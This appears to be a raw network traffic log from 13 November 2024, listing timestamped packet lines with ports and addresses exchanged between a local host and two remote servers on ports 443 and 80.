Nov 13, 2024 14:41:32.632987022 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.632997990 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.633008003 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.633115053 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.633115053 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.634561062 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.634569883 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.634592056 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.634599924 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.634608984 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.634618998 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.634640932 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.634680033 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.636321068 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.636328936 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.636358023 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.636363983 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.636392117 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.636621952 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.636631012 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.638132095 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.638176918 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.638185024 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.638196945 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.638209105 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.638210058 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.638219118 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.638767004 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.638767004 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.639802933 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.639818907 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.639903069 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.639909029 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.640541077 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.667351961 CET	443	49882	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.670263052 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.670286894 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.670306921 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.670321941 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.670341969 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.670389891 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.670486927 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.670486927 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.670486927 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.680771112 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.680793047 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.680944920 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.680965900 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.681210995 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.712702036 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.712743998 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.712758064 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.712769985 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.712784052 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.712785006 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.712798119 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.712821960 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.712831020 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.712843895 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.712852001 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.712857008 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.712871075 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.712877035 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.712903976 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.712918043 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.712918043 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.712929010 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.712934017 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.712940931 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.712953091 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.713016987 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.713052988 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.713067055 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.713080883 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.713093042 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.713107109 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.713110924 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.713110924 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.713120937 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.713135958 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.713145971 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.713184118 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.713188887 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.713202953 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.713218927 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.713232040 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.713246107 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.713260889 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.713267088 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.713277102 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.713294983 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.713305950 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.713310003 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.713326931 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.713331938 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.713350058 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.713365078 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.713366032 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.713381052 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.713393927 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.713397980 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.713434935 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.713897943 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.713985920 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.713999033 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.714010954 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.714040995 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.714051008 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.714054108 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.714060068 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.714078903 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.714087009 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.714101076 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.714114904 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.714133024 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.714138031 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.714152098 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.714164972 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.714168072 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.714179039 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.714195013 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.714220047 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.714243889 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.714257956 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.714271069 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.714282990 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.714293003 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.714294910 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.714308977 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.714313984 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.714342117 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.714350939 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.714358091 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.714385986 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.714401960 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.714415073 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.714416027 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.714431047 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.714443922 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.714445114 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.714459896 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.714468956 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.714476109 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.714488029 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.714504004 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.714529037 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.714533091 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.714548111 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.714560032 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.714571953 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.714585066 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.714598894 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.714610100 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.714610100 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.714627981 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.714639902 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.714639902 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.714649916 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.714678049 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.714687109 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.714693069 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.714713097 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.714725971 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.714746952 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.714766026 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.714770079 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.714783907 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.714797020 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.714809895 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.714811087 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.714827061 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.714826107 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.714842081 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.714848042 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.714870930 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.714895010 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.714901924 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.714915991 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.714930058 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.714946985 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.714965105 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.714970112 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.714978933 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.714992046 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715002060 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.715007067 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715022087 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715028048 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.715035915 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715050936 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715056896 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.715066910 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715074062 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.715090990 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715100050 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.715110064 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715121984 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715126038 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.715136051 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715148926 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.715150118 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715161085 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.715183973 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.715245962 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715259075 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715271950 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715284109 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715296984 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715305090 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.715310097 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715323925 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.715333939 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715337992 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.715348959 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715363026 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.715382099 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.715384960 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715398073 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.715399027 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715411901 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715420008 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.715425968 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715440035 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715449095 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.715449095 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.715451956 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715466022 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.715496063 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.715548992 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715564013 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715574026 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715579987 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715590000 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.715594053 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715609074 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715617895 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.715621948 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715635061 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715648890 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715648890 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.715657949 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.715663910 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715677977 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715698004 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.715715885 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715725899 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.715728045 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715742111 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715749979 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.715775013 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.715775013 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715790033 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715794086 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.715804100 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715812922 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.715816021 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715827942 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.715831041 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715841055 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.715843916 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715856075 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715861082 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.715869904 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715881109 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.715883017 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715894938 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.715917110 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.715919971 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715939045 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715961933 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715974092 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715984106 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.715984106 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.715986013 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.715996027 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.716000080 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.716012955 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.716015100 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.716026068 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.716031075 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.716058969 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.716068029 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.716080904 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.716083050 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.716094017 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.716105938 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.716116905 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.716139078 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.716263056 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.716275930 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.716286898 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.716300964 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.716309071 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.716314077 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.716327906 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.716336012 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.716340065 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.716352940 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.716368914 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.716382980 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.716389894 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.716394901 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.716398001 CET	49882	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.716408968 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.716422081 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.716428995 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.716437101 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.716449022 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.716454983 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.716463089 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.716475010 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.716486931 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.716500044 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.716502905 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.716514111 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.716526985 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.716526985 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.716540098 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.716552019 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.716577053 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.718050957 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.718080044 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.718096018 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.718108892 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.718122959 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.718122959 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.718148947 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.718164921 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.718229055 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.718244076 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.718256950 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.718355894 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.718377113 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.718408108 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.718415022 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.718425989 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.718441010 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.718463898 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.718488932 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.718509912 CET	80	49832	185.215.113.206	192.168.2.7
